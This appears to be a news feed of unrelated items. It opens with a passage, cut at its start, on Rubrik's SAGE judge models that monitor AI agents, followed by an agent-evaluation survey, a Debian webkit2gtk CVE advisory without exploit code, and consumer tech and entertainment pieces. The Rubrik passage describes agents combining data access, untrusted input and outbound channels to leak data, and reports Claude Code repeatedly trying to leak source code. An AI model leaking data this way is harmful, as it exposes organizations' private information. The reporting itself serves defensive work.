Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. 
Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."
VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. 
One AI reading what the rulebook can't
Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.
The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.
Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.
When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.
SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.
The lethal trifecta
Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.
Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.
A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.
The attacks no single turn reveals
Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.
Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.
A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.
Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?
Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.


The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway
Thu, 23 Jul 2026 19:19:44 +0200
Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.
This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.
The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.
What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.
By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).
At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.
Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.
Finding 1: A passing eval is not a working agent
Half have shipped an agent that passed evals, then failed a customer
We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.
This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.
Finding 2: Almost no one fully trusts automated evaluation
The top complaint: Evals don't match real-world outcomes
We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.
Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.
Finding 3: The autonomy ceiling is rising anyway
Two-thirds already allow, or are building toward, zero-human deployment
We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.
Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.
Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 
Finding 4: The evaluation stack is fragmented and provider-led
Provider-native evals lead — tied with no dedicated tool at all
We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.
The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.
Finding 5: Production monitoring rarely watches output quality
Only a quarter run real-time quality checks on live traffic
Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.
Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.
Finding 6: Bought on cost, measured on consistency
Price and integration drive selection; evaluation consistency is the goal
We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.
Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.
Finding 7: The next dollar goes to humans and observability
Investment is flowing to oversight, not just automation
We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.
The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. 
Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.
Finding 8: A tooling reshuffle is coming
Nearly two-thirds plan to adopt or switch platforms within a year
We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.
The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. 
Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.
The bottom line: An evaluation gap that autonomy will widen, not close
Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.
The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.
Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.


DSA-6398-1 webkit2gtk - security update
Thu, 23 Jul 2026 18:51:47 +0200
The following vulnerabilities have been discovered in the WebKitGTK
web engine:

CVE-2024-4367

    Thomas Rinsma discovered that a type check was missing when
    handling fonts in PDF.js, which would allow arbitrary JavaScript
    execution in the PDF.js context.

CVE-2026-28847

    DARKNAVY, an anonymous researcher and Daniel Rhea discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.

CVE-2026-28883

    Kwak Kiyong discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.

CVE-2026-28901

    Joshua Rogers, Luigino Camastra, Igor Morgenstern, Guido Vranken,
    Maher Azzouzi and Ngan Nguyen discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.

CVE-2026-28902

    Tristan Madani and Nathaniel Oh discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.

CVE-2026-28903

    Mateusz Krzywicki discovered that processing maliciously crafted
    web content may lead to an unexpected process crash.

CVE-2026-28904

    Luka Racki discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.

CVE-2026-28905

    Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.

CVE-2026-28907

    Cantina discovered that processing maliciously crafted web content
    may prevent Content Security Policy from being enforced.

CVE-2026-28942

    Milad Nasr and Nicholas Carlini discovered that processing
    maliciously crafted web content may lead to an unexpected Safari
    crash.

CVE-2026-28946

    Gia Bui, dr3dd, and w0wbox discovered that processing maliciously
    crafted web content may lead to an unexpected Safari crash.

CVE-2026-28947

    dr3dd discovered that processing maliciously crafted web content
    may lead to an unexpected Safari crash.

CVE-2026-28953

    Maher Azzouzi discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.

CVE-2026-28955

    wac and Kookhwan Lee discovered that processing maliciously
    crafted web content may lead to an unexpected process crash.

CVE-2026-28958

    Cantina discovered that an app may be able to access sensitive
    user data.

CVE-2026-39872

    Utkarsh Pal and Ignacio Sanmillan discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.

CVE-2026-43658

    Do Young Park discovered that processing maliciously crafted web
    content may lead to an unexpected Safari crash.

CVE-2026-43660

    Cantina discovered that processing maliciously crafted web content
    may prevent Content Security Policy from being enforced.

CVE-2026-43663

    Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota Toda,
    HexRabbit, NiNi, Tristan Madani and Brian Carpenter discovered
    that processing maliciously crafted web content may lead to an
    unexpected process crash.

CVE-2026-43676

    Mateusz Krzywicki, dr3dd, and Tommy DeVoss discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.

CVE-2026-43699

    Tommy DeVoss discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.

CVE-2026-43701

    Aaron Grattafiori discovered that a malicious website may be able
    to process restricted web content outside the sandbox.

CVE-2026-43705

    dr3dd discovered that processing maliciously crafted web content
    may lead to memory corruption.

CVE-2026-43707

    Amy Burnett discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.

CVE-2026-43712

    Kwak Kiyong, Song Nuri, and Tristan Madani discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.

CVE-2026-43713

    Jody Ritonga discovered that visiting a website may leak sensitive
    data.

CVE-2026-43715

    Milad Nasr and Nicholas Carlini discovered that processing
    maliciously crafted web content may lead to memory corruption.

CVE-2026-43716

    Tuan, Duc, Amy Burnett and Evan Lambert discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.

CVE-2026-43720

    Gia Bui and Josef Korbel discovered that processing maliciously
    crafted web content may lead to an unexpected process crash.

CVE-2026-43721

    Idan Masas discovered that a malicious website may be able to
    silently hijack clipboard data.

CVE-2026-43725

    Luke Francis discovered that a malicious website may be able to
    process restricted web content outside the sandbox.

CVE-2026-43726

    Josef Korbel, Tristan Madani, Gia Bui and Narendra Singh
    discovered that processing maliciously crafted web content may
    lead to an unexpected process crash.

CVE-2026-43727

    Tommy DeVoss, Gia Bui and Gurpreet Shergill discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.

CVE-2026-43731

    dr3dd discovered that processing maliciously crafted web content
    may lead to memory corruption.

CVE-2026-43732

    Nan Wang discovered that processing maliciously crafted web
    content may disclose sensitive user information.

CVE-2026-43734

    Jonathan Alush-Aben discovered that processing maliciously crafted
    web content may lead to an unexpected process crash.

CVE-2026-43740

    Nathaniel Oh and Arni Hardarson discovered that processing
    maliciously crafted web content may result in the disclosure of
    process memory.

CVE-2026-43742

    Yulia Mertsalova discovered that processing maliciously crafted
    web content may lead to an unexpected process crash.

CVE-2026-43745

    Amy Burnett and Khai Tran discovered that processing maliciously
    crafted web content may lead to an unexpected process crash.


https://security-tracker.debian.org/tracker/DSA-6398-1


Ich habe ChatGPT um 100 Ideen gebeten: Darum sollten Sie das auch machen
Thu, 23 Jul 2026 18:48:59 +0200





Wenn Sie einen KI-Chatbot darum bitten, Namen für einen Podcast, ein WLAN-Netzwerk oder ein kleines Unternehmen zu entwickeln, werden Sie wahrscheinlich eine Liste mit Vorschlägen erhalten, die ein wenig unkreativ ist.



Große Sprachmodelle wie ChatGPT, Claude und Gemini haben kein Problem damit, ein Dutzend Namen für Ihr Lieblingsprojekt oder Ihre Website zu generieren. Aber ein Dutzend Namen zu erhalten, die wirklich vielfältig, einzigartig und einprägsam sind? Das ist deutlich schwieriger – aber dennoch möglich. Sie müssen nur wissen, wie Sie die Modelle auf die richtige Weise in verschiedene Richtungen lenken können.



Bitten Sie ChatGPT zunächst nicht nur um 10 oder 20 Ideen, sondern um 100. Eine Studie der Wharton School [PDF] legt nahe, dass die Ideen, wenn Sie eine KI um so viele Ideen bitten, umso interessanter werden, je weiter Sie in der Liste nach unten gehen. Dies ist der „Dump“-Teil dieser zweistufigen Prompt-Technik.



In der zweiten Stufe bitten Sie ChatGPT, die Liste zu durchforsten, nach ähnlichen Einträgen zu suchen und diese durch neue zu ersetzen – alles mit dem Ziel, eine möglichst breite und vielfältige Ideensammlung zu schaffen.



Hier ist ein Beispiel für die erste Stufe der Eingabeaufforderung:




Gib mir 100 Ideen zu [Thema X]. Nummeriere diese von 1 bis 100. Gib für jede Idee nur einen kurzen Titel oder Namen an – keine Erklärungen, keine Beschreibungen. Beziehe alles mit ein, auch offensichtliche, schlechte, seltsame oder unausgereifte Antworten. Filtere nicht nach Qualität; das folgt später. Quantität ist das einzige Ziel.




Sobald die KI ihre Liste geliefert hat, fahren Sie mit der zweiten Phase fort:




Überarbeite nun die Liste im Hinblick auf maximale Vielfalt. Wo immer zwei oder mehr Ideen auf demselben Grundkonzept beruhen, behalte die beste davon bei und ersetze die anderen durch Ideen aus Blickwinkeln, die sonst nirgendwo auf der Liste abgedeckt sind. Das Ziel sind 100 Ideen, bei denen keine zwei auf dasselbe zugrunde liegende Konzept verweisen – sie müssen sich in ihrer Art unterscheiden, nicht nur im Wortlaut.




Optional können Sie mit einer Eingabe für die dritte Phase fortfahren, die die KI dazu veranlasst, die Liste nach Qualität zu filtern (ich empfehle jedoch, alle 100 Ideen der zweiten Phase selbst durchzugehen):




Was sind die 10 interessantesten Ideen auf der zweiten Liste?




Ich habe diese „100-Ideen“-Anweisung (die ich aus einer in der oben genannten Wharton-Studie vorgestellten Anweisungskombination adaptiert habe) für einen lang gehegten Traum ausprobiert: die Eröffnung meines eigenen Cafés. Eine der größten Hürden ist natürlich die Wahl eines einfallsreichen Namens, also habe ich diese zweistufige Anweisung gestartet.



Ich möchte Sie nicht mit der gesamten Liste der Vorschläge langweilen, die ich erhalten habe. Aber hier sind die ersten 10 aus der ursprünglichen Auswahl:




The Daily Grind



Bean There



Brewed Awakening



Central Perk



The Coffee House



Morning Cup



Java Junction



Common Grounds



Cup & Bean



The Roasted Bean




Dabei kamen die üblichen Verdächtigen heraus, bis hin zum „Central Perk“ aus der Serie Friends. Aber auch einige interessante Wortwitze.



Nach der Aufforderung der zweiten Stufe und der optionalen dritten Stufe („Nenne mir die 10 interessantesten Namen aus der zweiten Liste“) kam ich schließlich auf folgende Ergebnisse:




Warm Noise



Morning Object



Public Living Room



Moth & Match



Localhost



Borrowed Sugar



Unfinished Sentence



Blue Hour



The Loading Bar



Sunday Weather




Das sind wirklich ungewöhnliche, unkonventionelle Ideen für den Namen meines zukünftigen Cafés. Einige davon sind ein wenig techniklastig („Localhost“) oder einfach nur seltsam („Morning Object“), andere hingegen haben meine Aufmerksamkeit geweckt. „Blue Hour“ und „Borrowed Sugar“ gefallen mir tatsächlich sehr gut.



Probieren Sie diese zweistufige „100-Ideen“-Übung doch einmal aus, wenn Sie das nächste Mal Ideen benötigen. Selbst wenn dabei nicht gleich der perfekte Name für ein Café, einen Podcast oder einen Blog herauskommt, wird sie zumindest Ihre Kreativität anregen.



ChatGPT im Alltag – 16 lästige Aufgaben, die KI für Sie erledigen kann



Hören Sie auf, ChatGPT Ihre Texte schreiben zu lassen – Versuchen Sie das stattdessen




Apple TV Announces Esther Perel’s New Dating Series ‘The Last Person on Earth’
Thu, 23 Jul 2026 18:46:52 +0200
Apple TV is entering the dating genre with The Last Person on Earth, a new documentary series led by relationship expert and bestselling author Esther Perel. The show will test whether two people who seem completely incompatible can develop a meaningful romantic connection.




Episodes: 8



Genre: Dating documentary and relationship series



Release date: Apple TV has not announced a premiere date




Apple announced the eight-episode series on July 23, 2026, but did not share when filming or streaming will begin.



What is The Last Person on Earth about?



The Last Person on Earth will follow five couples brought together by Perel and a team of matchmakers and therapists. Each pairing will include people who initially appear to be opposites and who would probably reject each other based on their usual dating preferences.



The couples will then travel to romantic and remote destinations, where they will spend time together away from their normal routines. The experiment will encourage them to reconsider their ideas about compatibility, attraction, and the qualities they look for in a partner.



The series will examine whether an unexpected match can grow into a lasting relationship. It will also show how personal assumptions, familiar dating patterns, and rigid checklists affect the way people choose potential partners.



FAQs



When will The Last Person on Earth premiere on Apple TV?



Apple TV has not announced an official premiere date. Since the project has only recently been revealed, viewers will need to wait for a trailer and complete release schedule.



How many episodes will The Last Person on Earth have?



The first season will contain eight episodes. Apple has not confirmed whether multiple episodes will arrive together or follow a weekly release schedule.



Is The Last Person on Earth a reality dating show?



Apple describes it as a dating documentary series. However, its format includes matchmaking, romantic trips, relationship experiments, and real participants, placing it close to the reality dating genre.



Who is Esther Perel?



Esther Perel is a psychotherapist, relationship expert, bestselling author, and podcast host known for her work on modern relationships, intimacy, and long-term attraction.



How many couples will appear in the series?



The show will follow five couples who have been matched because they appear to have different personalities, preferences, or expectations.



Where will the couples travel?



Apple has not revealed the exact filming locations. The couples will visit remote destinations described as some of the world’s most romantic settings.



Will there be a trailer?



Apple TV has not released a trailer yet. The first footage will probably arrive closer to the confirmed premiere date.



Apple TV costs $12.99 per month in the United States and includes a seven-day free trial for new subscribers. The service is available through the Apple TV app on Apple devices, smart TVs, streaming players, gaming consoles, and web browsers.



Do you plan to watch The Last Person on Earth when it arrives on Apple TV? Let us know in the comments.


Hardware-Bericht: Diese Macs plant Apple für die kommenden Jahre
Thu, 23 Jul 2026 17:50:01 +0200

Apple arbeitet offenbar an einer der umfangreichsten Mac-Produktoffensiven der vergangenen Jahre. Ein neuer Bericht zeichnet eine detaillierte Roadmap bis mindestens 2028. Geplant sind zahlreiche neue ... Weiterlesen ...
Der Beitrag Hardware-Bericht: Diese Macs plant Apple für die kommenden Jahre erschien zuerst auf Apfelpage.


Zwei RTX 5090 für die HMX 6 und Zeitreise zur Höllenmaschine 4 mit vier GPUs
Thu, 23 Jul 2026 17:32:54 +0200





Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier Grafikprozessoren neue Maßstäbe beim Gaming setzte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den Newsletter kostenlos abonnieren – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!



Hier geht es direkt zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro. 



HMX 6: 2x RTX 5090 von ZOTAC GAMING und Halo-Design



Jetzt können wir endlich verraten, welche Grafikkarten in der HMX 6 stecken: Als primäre Gaming-Grafikkarte der HMX 6 ist die RTX 5090 AMP Extreme INFINITY gedacht, während wir parallel dazu die RTX 5090 ARCTICSTORM AIO für verlustfreie Skalierung verwenden, um Bildqualität und -wiederholrate in praktisch jedem Videospiel zu verbessern. Natürlich könnt ihr die gebündelte Kraft der zwei 5090 auch im kreativen Einsatz nutzen, etwa beim 3D-Rendering oder KI-Berechnungen. Hier findet ihr alle Informationen zu den zwei ZOTAC-Grafikkarten. 


ZOTAC



Eigentlich wollten Kris und ich euch diese Woche schon den aktuellen Stand des Casecon im Halo-Design zeigen. Doch unserem Modder Stefan Ulrich fehlen noch diverse Materialien. Jetzt fahren wir wahrscheinlich nächste Woche, doch die Zeit drängt schon wieder, denn wir wollen ja auf die Gamescom mit der HMX 6.



Rückblick: Die Höllenmaschine 4 setzte technische und optische Maßstäbe



Neue Maßstäbe setzten wir 2012 auch bei der Vermarktung der Höllenmaschine 4 – zumindest für unsere Verhältnisse: vier aufwendig produzierte Teaser-Videos mit Engelchen und Teufelsdamen sowie Fritz als Padawan von Obi-Wan Michi. Das hat riesigen Spaß gemacht und uns als Team Hölle zusammengeschweißt – und war der Beginn einer wunderbaren Freundschaft. 


PC-WELT



Technisch auf der Höhe der Zeit waren wir mit den beiden Grafikkarten ASUS GTX690-4GD5, die jeweils zwei 915 MHz schnelle Nvidia Geforce GTX 690 beherbergten. Vier Grafikprozessoren gleichzeitig waren damals absoluter Wahnsinn und sorgten regelmäßig für offene Münder. Dazu gab es den Sechskerner Intel Core i7-3960X, 64 GB RAM im Vierkanalmodus, mit der OCZ RevoDrive die erste PCIe-SSD in einer Höllenmaschine und mit 10 Terabyte natürlich auch wieder verrückt viel HDD-Speicherplatz.



